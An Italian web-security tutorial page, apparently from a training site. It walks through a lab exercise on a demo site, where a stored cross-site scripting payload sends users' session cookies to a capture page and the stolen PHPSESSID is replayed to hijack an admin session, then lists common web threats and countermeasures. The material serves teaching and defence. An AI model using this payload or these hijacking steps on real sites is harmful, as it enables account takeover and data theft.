Come hackerare un sito web? Tecniche di hacking dei siti web

โšก Riepilogo intelligente

Gli attacchi hacker ai siti web sfruttano le vulnerabilitร  delle applicazioni web, come codice scritto male, input non sanificati e gestione inadeguata delle sessioni, per ottenere accessi non autorizzati. Questa pagina illustra le tecniche di attacco piรน comuni e, soprattutto, le contromisure per proteggere un sito web.

  • ๐ŸŒ Target: Le applicazioni web accettano input dall'utente tramite Internet, esponendo qualsiasi campo non convalidato ad attacchi.
  • ???? tecniche: Tra le principali minacce figurano SQL injection, cross-site scripting, session poisoning, form tampering e code injection.
  • ๐Ÿช Dirottamento della sessione: Un ID di sessione rubato consente a un malintenzionato di impersonare un utente autenticato senza password.
  • ๐Ÿ›ก๏ธ Difesa: La convalida dell'input, le query parametrizzate e i cookie di sessione crittografati colmano le lacune piรน comuni.
  • ๐ŸŽฏ Standard: La lista OWASP Top 10 definisce le vulnerabilitร  web che ogni sviluppatore dovrebbe testare.
  • ๐Ÿค– Aspetto moderno: I firewall basati sull'intelligenza artificiale apprendono il traffico normale e segnalano i tentativi di iniezione in tempo reale.

Come hackerare un sito web

Oggi piรน persone hanno accesso a Internet che mai. Ciรฒ ha spinto molte organizzazioni a sviluppare applicazioni basate sul Web che gli utenti possono utilizzare online per interagire con l'organizzazione. Il codice scritto in modo inadeguato per le applicazioni web puรฒ essere sfruttato per ottenere l'accesso non autorizzato a dati sensibili e server web.

Imparerai le tecniche piรน comuni di hacking dei siti web e le contromisure per proteggersi da tali attacchi.

Come hackerare un sito web

In questo scenario pratico di hacking di siti Web, prenderemo il controllo della sessione utente dell'applicazione Web situata in www.techpanda.orgUtilizzeremo la tecnica del cross-site scripting per leggere l'ID di sessione del cookie, per poi usarlo per impersonare una sessione utente legittima.

Si parte dal presupposto che l'attaccante abbia accesso all'applicazione web e voglia dirottare le sessioni di altri utenti che utilizzano la stessa applicazione. L'obiettivo di questo attacco potrebbe essere quello di ottenere l'accesso amministrativo all'applicazione web, supponendo che l'account di accesso dell'attaccante sia limitato.

Passaggio 1) Apri URL http://www.techpanda.org/.

A scopo pratico, si raccomanda vivamente di ottenere l'accesso tramite SQL Injection. Fare riferimento a questo articolo sull'iniezione SQL per ulteriori informazioni su come farlo.

Passaggio 2) Inserire i dati di accesso.

L'indirizzo email per l'accesso รจ admin@google.com e la password รจ Password2010.

Passaggio 3) Controllare la dashboard.

Se l'accesso รจ andato a buon fine, visualizzerai la seguente dashboard.

Dashboard di Techpanda visualizzata dopo un accesso riuscito.

Passaggio 4) Inserire nuovi contenuti.

Fai clic su Aggiungi nuovo contatto e inserisci il seguente nome:

<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>

Passaggio 5) Aggiungi JavaScript.

Il codice precedente utilizza JavaScript. Aggiunge un collegamento ipertestuale con un evento onclick. Quando l'utente ignaro fa clic sul collegamento, l'evento recupera il ID di sessione del cookie PHP e lo invia alla pagina snatch_sess_id.php insieme all'ID di sessione nel URL.

Aggiungi un nuovo modulo di contatto con lo script dannoso inserito nel campo del nome

Passaggio 6) Aggiungere i dettagli.

Inserisci i dettagli rimanenti come mostrato di seguito e fai clic su Salva modifiche.

Modulo di contatto compilato, pronto per essere salvato nel database.

Passaggio 7) Controllare la dashboard.

La tua dashboard ora apparirร  come nella schermata seguente.

Dashboard dei contatti che mostra la voce salvata con il collegamento ipertestuale scuro

Passaggio 8) Verificare l'ID di sessione.

Poichรฉ lo script cross-site รจ memorizzato nel database, viene caricato ogni volta che gli utenti con diritti di accesso effettuano l'accesso. Quando l'amministratore effettua l'accesso e fa clic sul collegamento ipertestuale che dice Dark, viene visualizzata una finestra con l'ID di sessione nel URL.

Finestra del browser che mostra l'ID di sessione catturato passato nel URL

Nota: lo script potrebbe inviare il valore a un server remoto dove รจ memorizzato il PHPSESSID, per poi reindirizzare l'utente come se nulla fosse accaduto.

Nota: il valore ottenuto potrebbe essere diverso da quello mostrato qui, ma il concetto rimane lo stesso.

Rappresentazione della sessione utilizzando Firefox e componente aggiuntivo Tamper Data

Nota: il componente aggiuntivo Tamper Data classico mostrato di seguito non si installa piรน sulla versione corrente Firefoxma il concetto che illustra, ovvero intercettare e modificare una richiesta HTTP per riprodurre una sessione acquisita, rimane invariato.

Il diagramma di flusso seguente mostra i passaggi da eseguire per completare questo esercizio.

Diagramma di flusso delle fasi dell'esercizio di impersonificazione della sessione

  • Sarร  necessario il Firefox Browser web per questa sezione e componente aggiuntivo Dati di manomissione.
  • Apri Firefox e installare il componente aggiuntivo come mostrato negli schemi sottostanti.

Firefox Gestione componenti aggiuntivi utilizzata per cercare il componente aggiuntivo Dati di manomissione

Dati di manomissione elencati nel Firefox risultati di ricerca aggiuntivi

  • Cerca i dati di manomissione, quindi fai clic su installa come mostrato sopra.

Finestra di dialogo per l'autorizzazione del componente aggiuntivo con il pulsante Accetta e installa

  • Fare clic su Accetta e installa...

Firefox richiesta di riavviare il browser dopo l'installazione del componente aggiuntivo

Firefox barra dei menu abilitata in modo che il menu Strumenti sia visibile

  • Al termine dell'installazione, fai clic su Riavvia ora.
  • Abilita la barra dei menu in Firefox se non viene mostrato.

Apri il menu Strumenti con l'opzione Dati manomissione selezionata

  • Fai clic sul menu Strumenti, quindi seleziona Dati manomissione come mostrato di seguito.

Svuotare la finestra dei dati di manomissione prima di acquisire le richieste

  • Si aprirร  la seguente finestra. Nota: se la finestra non รจ vuota, fai clic sul pulsante Cancella.

Finestra popup di richiesta di manomissione dei dati per impedire la manomissione della richiesta in uscita

  • Fare clic sul menu Avvia manomissione.
  • Tornare al Firefox Apri il browser web, digita http://www.techpanda.org/dashboard.php e premi il tasto Invio per caricare la pagina.
  • Riceverai il seguente messaggio pop-up da Tamper Data.

Finestra di dialogo di manomissione con le opzioni Manometti, Invia e Annulla.

  • La finestra a comparsa ha tre (3) opzioni. L'opzione Tamper consente di modificare le informazioni dell'intestazione HTTP prima che vengano inviate al server.
  • Cliccaci sopra.
  • Si aprirร  la seguente finestra.

Editor dell'intestazione della richiesta in cui รจ possibile sostituire il valore del cookie

  • Copia l'ID di sessione PHP che hai copiato dall'attacco URL e incollalo dopo il segno di uguale. Il tuo valore ora dovrebbe apparire cosรฌ.
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
  • Clicca sul pulsante OK.
  • Verrร  visualizzata nuovamente la finestra popup relativa ai dati di manomissione.

La finestra di dialogo "Dati di manomissione" riappare con la casella di controllo "Continua a manomettere".

  • Deseleziona la casella di controllo che chiede Continuare la manomissione?
  • Al termine, fai clic sul pulsante Invia.
  • Dovresti visualizzare la dashboard come mostrato di seguito.

Dashboard di Techpanda raggiungibile riproducendo la sessione acquisita

Nota: non abbiamo effettuato l'accesso; abbiamo simulato una sessione di accesso utilizzando il valore PHPSESSID recuperato tramite cross-site scripting.

Cos'รจ un'applicazione Web? Cosa sono le minacce Web?

Un'applicazione web (nota anche come sito web) รจ un'applicazione basata sul modello client-server. Il server fornisce l'accesso al database e la logica di business. รˆ ospitato su un server web. L'applicazione client viene eseguita sul browser web del client. Le applicazioni web sono solitamente scritte in linguaggi come Java, C#, VB.Net, PHPe ColdFusion Markup Language, ecc. I motori di database utilizzati nelle applicazioni web includono MySQL, MS SQL Server, PostgreSQL, SQLite, ecc.

Principali tecniche di hacking dei siti Web

La maggior parte delle applicazioni web sono ospitate su server pubblici server accessibili tramite Internet. Ciรฒ li rende vulnerabili agli attacchi a causa della facile accessibilitร . Di seguito sono elencate le minacce piรน comuni per le applicazioni web.

  • SQL Injection โ€“ lโ€™obiettivo di questa minaccia potrebbe essere quello di aggirare gli algoritmi di accesso, sabotare i dati, ecc.
  • Denial of Service attacchi โ€“ l'obiettivo di questa minaccia potrebbe essere quello di negare agli utenti legittimi l'accesso alla risorsa.
  • Cross-Site Scripting (XSS) โ€“ l'obiettivo di questa minaccia potrebbe essere quello di iniettare codice eseguibile sul browser lato client.
  • Avvelenamento da cookie/sessione โ€“ lโ€™obiettivo di questa minaccia รจ modificare i cookie/dati di sessione da parte di un utente malintenzionato per ottenere un accesso non autorizzato.
  • Manomissione dei moduli โ€“ lโ€™obiettivo di questa minaccia รจ modificare i dati del modulo come i prezzi nelle applicazioni di e-commerce in modo che lโ€™aggressore possa ottenere articoli a prezzi ridotti.
  • Code Iniezione โ€“ lโ€™obiettivo di questa minaccia รจ iniettare codice come PHP, Python, ecc. che possono essere eseguiti sul server. Il codice puรฒ installare backdoor, rivelare informazioni sensibili, ecc.
  • deturpazione โ€“ l'obiettivo di questa minaccia รจ modificare la pagina visualizzata su un sito web e reindirizzare tutte le richieste di pagina a un'unica pagina contenente il messaggio dell'attaccante.

Come proteggere il tuo sito web dagli attacchi hacker?

Un'organizzazione puรฒ adottare la seguente politica per proteggersi dagli attacchi al server web.

  • SQL Injection โ€“ la sanificazione e la convalida dei parametri utente prima di inviarli al database per l'elaborazione possono contribuire a ridurre le possibilitร  di essere attaccati tramite SQL Injection. I motori di database come MS SQL Server, MySQL, ecc. supportano parametri e istruzioni preparate. Sono molto piรน sicuri delle tradizionali istruzioni SQL.
  • Attacchi Denial of Service โ€“ I firewall possono essere utilizzati per bloccare il traffico proveniente da indirizzi IP sospetti se l'attacco รจ un semplice DoS. Una corretta configurazione delle reti e un sistema di rilevamento delle intrusioni possono inoltre contribuire a ridurre le probabilitร  di successo di un attacco DoS.
  • Cross-site scripting โ€“ convalida e sanificazione delle intestazioni, dei parametri passati tramite URLI parametri dei moduli e i valori nascosti possono contribuire a ridurre gli attacchi XSS.
  • Avvelenamento da cookie/sessione โ€“ Ciรฒ puรฒ essere evitato crittografando il contenuto dei cookie, impostando una scadenza per i cookie dopo un certo periodo di tempo e associando i cookie all'indirizzo IP del client utilizzato per crearli.
  • Manomissione dei moduli โ€“ Ciรฒ puรฒ essere evitato convalidando e verificando l'input dell'utente prima di elaborarlo.
  • Code Iniezione โ€“ Ciรฒ puรฒ essere evitato trattando tutti i parametri come dati anzichรฉ come codice eseguibile. A tale scopo si possono utilizzare la sanificazione e la convalida.
  • deturpazione โ€“ un buon sicurezza delle applicazioni web La politica dovrebbe garantire la chiusura delle vulnerabilitร  comunemente utilizzate per accedere al server web. Ciรฒ puรฒ includere una corretta configurazione del sistema operativo, del software del server web e delle migliori pratiche di sicurezza durante lo sviluppo.ping applicazioni web.

Controllare questo: 9 migliori URL Strumenti di scansione per verificare se un link รจ al sicuro da malware.

DOMANDE FREQUENTI

Solo con l'autorizzazione scritta del proprietario. Testare un sito di cui non si รจ proprietari o per il quale non si ha l'autorizzazione รจ illegale ai sensi di leggi come il Computer Fraud and Abuse Act statunitense. Gli ambiti dei programmi di bug bounty definiscono ciรฒ che รจ consentito.

Presta attenzione a pagine manomesse, nuovi utenti amministratori inaspettati, file o script sconosciuti, reindirizzamenti a siti di spam e picchi di traffico. Il monitoraggio dell'integritร  dei file, l'analisi dei log del server e uno scanner antimalware consentono di individuare la maggior parte delle violazioni in fase iniziale.

La OWASP Top 10 รจ una lista, gestita dalla community, dei rischi piรน critici per la sicurezza delle applicazioni web. Nell'edizione 2025, il primo posto รจ occupato da vulnerabilitร  nel controllo degli accessi, seguito da errori di configurazione della sicurezza e falle nella catena di fornitura del software.

Un WAF (Web Application Firewall) ispeziona il traffico HTTP in entrata e blocca i modelli di attacco noti, come l'iniezione SQL e il cross-site scripting, prima che raggiungano l'applicazione. Offre patch virtuali, ma non sostituisce il codice sicuro.

I firewall basati sull'intelligenza artificiale apprendono il traffico normale di un sito e segnalano in tempo reale anomalie come tentativi di injection, credential stuffing e abuso da parte di bot. I modelli di machine learning individuano schemi zero-day che le regole statiche non riescono a rilevare, con un minor numero di falsi positivi.

Assistenti AI come Copilota GitHub Questi strumenti velocizzano la scrittura della convalida degli input e delle query parametrizzate, ma possono anche suggerire modelli non sicuri. Considera ogni suggerimento come una bozza e fallo rivedere da una persona prima di implementarlo.

Tra le opzioni piรน popolari figurano CEH, OSCP e CompTIA Security+, mentre CISSP Copre l'architettura di sicurezza in senso ampio. Convalida le competenze di valutazione delle vulnerabilitร , configurazione sicura e difesa che i datori di lavoro si aspettano per i ruoli di sicurezza web.

La scansione delle vulnerabilitร  รจ automatizzata e individua rapidamente le debolezze note senza sfruttarle. Il penetration testing, invece, รจ un'attivitร  prevalentemente manuale in cui i tester sfruttano attivamente le falle per dimostrare il loro impatto reale. La scansione offre ampiezza; il penetration testing offre profonditร .

Riassumi questo post con: